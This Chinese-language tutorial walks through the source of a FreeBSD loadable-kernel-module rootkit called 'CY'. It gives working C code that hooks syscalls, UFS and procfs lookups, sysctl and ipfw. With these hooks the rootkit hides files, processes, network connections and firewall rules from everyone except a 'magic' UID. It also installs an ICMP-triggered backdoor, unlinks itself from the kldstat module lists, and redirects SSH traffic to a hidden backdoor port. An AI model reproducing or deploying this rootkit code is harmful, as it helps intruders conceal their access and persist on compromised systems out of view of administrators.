服务器 频道

Freebsd内核模块源码实现以及应用探

     3.1 隐藏并重定向文件
  
  一般最开始做的就是就是隐藏文件了,它也是最简单的,我们就从这里开始吧。
  
  你的hook函数可以在不同的层次,简单的可以截获系统调用open,stat 等等 深入点你可以hook底层具体文件系统的lookup函数。
  
  3.1.1 通过系统调用
  
  最普通的方法,嘿嘿,被许多工具使用过了,THC 的文档有具体描述
  (这篇文章的连接是http://www.thehackerschoice.com/papers/bsdkern.html
  这种方法通过截获open,stat,chmod系统调用来针对特别的文件,这种方法是最简单的。通过你提供的的新的系统调用new_open
  检查带有某些特定的字符,来决定返回没有还是调用原来的open系统调用,例子来自于module/file-sysc.c:
    int
    new_open(struct proc *p, register struct open_args *uap)
    {
      char name[NAME_MAX];
      size_t size;
  
      /* get the supplied arguments from userspace */
      if(copyinstr(uap->path, name, NAME_MAX, &size) == EFAULT)
        return(EFAULT);
  
      /* if the entry should be hidden and the user is not magic, return not found */
      if(file_hidden(name) && !(is_magic_user(p->p_cred->pc_ucred->cr_uid))) //检查特定文件名和用户uid
        return(ENOENT);
       return(open(p,uap));
    }
  
  还有一些类似的系统调用,只有getdirentries有一些特别,因为它返回一个目录列表,所以要多做一些变换(这个以前引起了不少的
  讨论,在linux lkm中)。THC 的文档有具体描述
  (这篇文章的连接是http://www.thehackerschoice.com/papers/bsdkern.html
  
  或者你可以通过hook地层具体文件系统的某些函数,这种方法的好处就是不用修改系统调用表并且不被众多的系统调用所受限制。因为
  这些函数最终会调用它。在这里你还可以通过判断更多的条件来决定是否隐藏这个文件。
  每种文件系统的vop(操作函数结构)决定了对不同种类操作所调用的函数,ufs文件系的vop可以在/sys/ufs/ufs/ufs_vnops.c
  找到,procfs文件系统的vop可以在/sys/miscfs/procfs/procfs_vnops.c中找到,其它文件系统的可以找到。当你改变
  lookup的同时,也要改变相应的cached lookup 函数(因为有缓存呀,找的时候先找缓存)
  下面展示了一个例子 代码来自module/file-ufs.c
  
  int new_ufs_lookup(struct vop_cachedlookup_args *ap)
    {
  
      struct componentname *cnp = ap->a_cnp;
  
      if(file_hidden(cnp->cn_nameptr) &&
        !(is_magic_user((cnp->cn_cred)->cr_uid))) {
        mod_debug("Hiding file %s\n",cnp->cn_nameptr);
        return(ENOENT);
      }
  
      return(old_ufs_lookup(ap));
    }
  
  在模块加载函数中
  
  extern vop_t **ufs_vnodeop_p;
  //static vop_t **ufs_vnodeop_p指向static struct vnodeopv_entry_desc ufs_vnodeop_entries[]
  //在文件/sys/ufs/ufs/ufs_vnops.c
    vop_t *old_ufs_lookup;
  
    static int
    load(struct module *module, int cmd, void *arg)
    {
      switch(cmd) {
        case MOD_LOAD:
          mod_debug("Replacing UFS lookup\n");
          old_ufs_lookup = ufs_vnodeop_p[VOFFSET(vop_lookup)];
          ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup;
          break;
  
        case MOD_UNLOAD:
          mod_debug("Restoring UFS lookup\n");
          ufs_vnodeop_p[VOFFSET(vop_lookup)] = old_ufs_lookup;
          break;
  
        default:
          error = EINVAL;
          break;
      }
      return(error);
    }
  看比替换系统调用费不了多点事,同样你需要修改ufs_readdir来防止getdirentries
  
  3.1.3 概要评论
  
  文件重定向可以用多种方法来实现,你可以用指定的文件来代替被请求的文件,比如execve特定的文件,通过截获execve.
  通常都很简单了,也许你想扩展用户空间,可以通过vm_map_find来实现 CY 中有一个例子展示。
  
  3.2 隐藏进程
  
  还有一个通常要做得事就是隐藏进程,为了达到这个目的,你需要截获很多获得进程信息的方法,当然你也想保持对特定进程
  的追踪。每个进程的信息都存储在proc结构中,定义在/sys/sys/proc.h ,结构中有一个标志域p_flag 可以对进程设定
  特殊的标志,所以我们设定一个新的标志#define P_HIDDEN 0x8000000 这样当一个进程被隐藏时,我们通过这个标志
  重新发现这个进程,module/control.c 有一个例子来展示。
  如果你用 ps ,它将会调用kvm_getprocs,它将通过带有下面的参数来调用sysctl
  name[0] = CTL_KERN
  name[1] = KERN_PROC
  name[2] = KERN_PROC_PID, KERN_PROC_ARGS etc
  name[3] can contain the pid in case information about only one process is requested.
  
  name是一个数组包含了mib变量(类似于snmp mib),描述了请求的信息,例如,啥样的sysctl操作和具体的请求,下面包含了请求
  的子类型(相对KERN_PROC)来说
  /*
  * KERN_PROC subtypes
  */
  #define KERN_PROC_ALL      0    /* everything */
  #define KERN_PROC_PID      1    /* by process id */
  #define KERN_PROC_PGRP     2    /* by process group id */
  #define KERN_PROC_SESSION    3    /* by session of pid */
  #define KERN_PROC_TTY      4    /* by controlling tty */
  #define KERN_PROC_UID      5    /* by effective uid */
  #define KERN_PROC_RUID     6    /* by real uid */
  #define KERN_PROC_ARGS     7    /* get/set arguments/proctitle */
  这些调用最后会结束于__sysctl调用,THC article 已经描述过了,我用另一种方法实现了它,代码在module/process.c
  我们同样用这种方法来隐藏网络连接。
  
  另外一种或的进程信息的方法就是通过procfs,你不需要知道数据的来源,因为它是内核动态产生的所以我们同样可以利用
  在文件隐藏节中提到的两种方法来实现,下面我给出了通过hook proc''s lookup 函数的例子
  /*
     * replacement for procfs_lookup, this will be used in the case someone doesn''t just
     * do a ls in /proc but tries to enter a dir with a certain pid
     */
  
    int
    new_procfs_lookup(struct vop_lookup_args *ap)
    {
      struct componentname *cnp = ap->a_cnp;
      char *pname = cnp->cn_nameptr;
      pid_t pid;
  
      pid = atopid(pname, cnp->cn_namelen);
  
      if(pid_hidden(pid) && !(is_magic_user((cnp->cn_cred)->cr_uid)))
        return(ENOENT);
  
      return(old_procfs_lookup(ap));
    }
  
  You would then replace it when you load the module:
    extern struct vnodeopv_entry_desc procfs_vnodeop_entries[];
    extern struct vnodeopv_desc **vnodeopv_descs;
    vop_t *old_procfs_lookup;
  
    static int
    load(struct module *module, int cmd, void *arg)
    {
      switch(cmd) {
        case MOD_LOAD:
          mod_debug("Replacing procfs_lookup\n");
          old_procfs_lookup = procfs_vnodeop_p[VOFFSET(vop_lookup)];
          procfs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *)new_procfs_lookup;
          break;
  
        case MOD_UNLOAD:
          mod_debug("Restoring procfs_lookup\n");
          procfs_vnodeop_p[VOFFSET(vop_lookup)] = old_procfs_lookup;
          break;
  
        default:
          error = EINVAL;
          break;
    }
    return(error);
  }
  
  3.2.2 隐藏子进程
  
  也许你想隐藏子进程,防止被kill掉,可以通过截获fork 或者 kill 来达到此目的,在上面的技术中也有很多可以利用的技术
  module/process.c 有一个例子
  
  3.3. 隐藏网络连接
  
  为了逃避netstat -an 的网络连接查询,我们采用象隐藏进程一样的方法,它通过同样调用sysctl来查询,当然mib变量是不一样的
  对于tcp连接来说:
  name[0] = CTL_NET
  name[1] = PF_INET
  name[2] = IPPROTO_TCP
  name[3] = TCPCTL_PCBLIST
  像以前一样的方法,输出同样被过滤掉了,然后返回给用户层的sysctl,CY 允许你来隐藏多样的连接通过cyctl,参照
  module/process.c 看如何修改的__sysctl.
  
  3.4 隐藏网络连接
  
  另一个有趣的就是隐藏防火墙的规则,可以用你的函数简单的替换ip_fw_ctl函数,ip_fw_ctl是ipfw的控制函数,比如
  添加,删除,列出 规则。所以我们可以截获这个函数来表演了,;)
  
  CY的控制函数提供了一个选项来隐藏特定的防火墙规则,象隐藏进程一样,我们可以设置一个标志来标识需要隐藏的的规则
  当沿着ipfw 规则队列遍历时,每个规则都是一种结构 struct ip_fw ,这个结构的定义在/sys/netinet/ip_fw.h,结构
  中有个条目叫做fw_flag,我们添加一个新的标志,命名为IP_FW_F_HIDDEN
  #define IP_FW_F_HIDDEN 0x80000000
  module/fw.c 中展示了一个隐藏规则的例子,当用ipfw -l 来列出规则时,它将调用这个函数并且操作码为IP_FW_GET,我们就可以
  来处理这个请求来隐藏我们特定的规则,并把其他的规则传给原来的ip_fw_ctl,我们通过遍历整个防火墙规则队列,通过刚才设定的
  标志(fw_flag)来查找我们特定的规则,然后减少输出,来达到隐藏的目的。
  
  既然freebsd 的 ipfw 提供了forward和divert(类似于nat的一种功能,但是工作在应用层,与ipfilter的nat功能有本质的差别)
  我们就可以利用它来实现后门了,我们可以在12345端口放一个后门,然后先通过前面讲的的隐藏网络连接的功能,隐藏这个listen
  的端口,然后添加一个规则,比如说我们一个“特定的主机“对22ssh的连接重定向到12345后门的连接,netstat 就只能看见了22了,
  因为后门的网络连接被隐藏了,所以从22到12345也就看不见了。
  
  3.5. 网络触发器 (类似于嗅谈的协议后门)
  
  上面我们提到了inetsw,一个维持了一组协议信息的数组,协议信息中通常包含了当自己协议类行数据报到来时或传出时时调用的函数
  CY包含一个例子,它允许设定一个icmp echo请求到来时的触发器,首先我们要替换掉icmp_input,代码就在module/icmp.c
  这里我们只需要把修改一点就可以了,icmp header定义在/usr/include/netinet/ip_icmp.h
  Part of module/icmp.c:
  
    [...]
  
    case ICMP_ECHO:
      if (!icmpbmcastecho
        && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
        icmpstat.icps_bmcastecho++;
        break;
      }
  
    /* check if the packet contains the specified trigger */
  
    if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) { //通过判定icmp数据是否包含特定的标志
  
      mod_debug("ICMP trigger\n");
  
      /* decrease receive stats */
      icmpstat.icps_inhist[icp->icmp_type]--;
  
      trigger_test(icp->icmp_data);
  
      /* don''t send a reply */
      goto freeit;
    }
  
    [...]
  
  //// when the module is loaded:
    extern struct ipprotosw inetsw[];
    extern u_char ip_protox[];
    void *old_icmp_input;
  
    static int
    load(struct module *module, int cmd, void *arg)
    {
      switch(cmd) {
        case MOD_LOAD:
          mod_debug("Replacing ICMP Input\n");
          old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP]].pr_input;
          inetsw[ip_protox[IPPROTO_ICMP]].pr_input = new_icmp_input;
          break;
  
        case MOD_UNLOAD:
          mod_debug("Restoring icmp_input\n");
          inetsw[ip_protox[IPPROTO_ICMP]].pr_input = old_icmp_input;
          break;
  
        default:
          error = EINVAL;
          break;
      }
      return(error);
    }
  CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。
  
  3.6. 隐藏模块
  
  重要的,我们当然要隐藏模块自身了( kldstat | kldstat -v 区别 )
  前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们
  要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c 此外它还有一个计数单元定义在next_file_id,这个
  数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块
        extern linker_file_list_t linker_files;
        extern int next_file_id;
        extern struct lock lock;
  
        [...]
        linker_file_t lf = 0;
  
        /* lock exclusive, since we change things */
        lockmgr(&lock, LK_EXCLUSIVE, 0, curproc);
        (&linker_files)->tqh_first->refs--;
  
        TAILQ_FOREACH(lf, &linker_files, link) {   //宏定义遍历队列得到linker_file结构
  
          if (!strcmp(lf->filename, "cyellow.ko")) {
  
            /*first let''s decrement the global link file counter*/
            next_file_id--;
  
            /*now let''s remove the entry*/
            TAILQ_REMOVE(&linker_files, lf, link); //从队列中删除
            break;
          }
        }
        lockmgr(&lock, LK_RELEASE, 0, curproc);
  
  下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。
        extern modulelist_t modules;
        extern int nextid;
  
        [...]
        module_t mod = 0;
  
        TAILQ_FOREACH(mod, &modules, link) {
  
          if(!strcmp(mod->name, "cy")) {
            /*first let''s patch the internal ID counter*/
            nextid--;
  
            TAILQ_REMOVE(&modules, mod, link);
          }
        }
        [...]
  现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含
  了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,
  它是我相信可能还有其它的方法来找到它。
  
  3.6 其它的应用
  
  还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0
  下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用
  tcpdump接口的模式也不会是混杂。
  当然通过/dev/kmem你可以得到很多有趣的的东西。
0
相关文章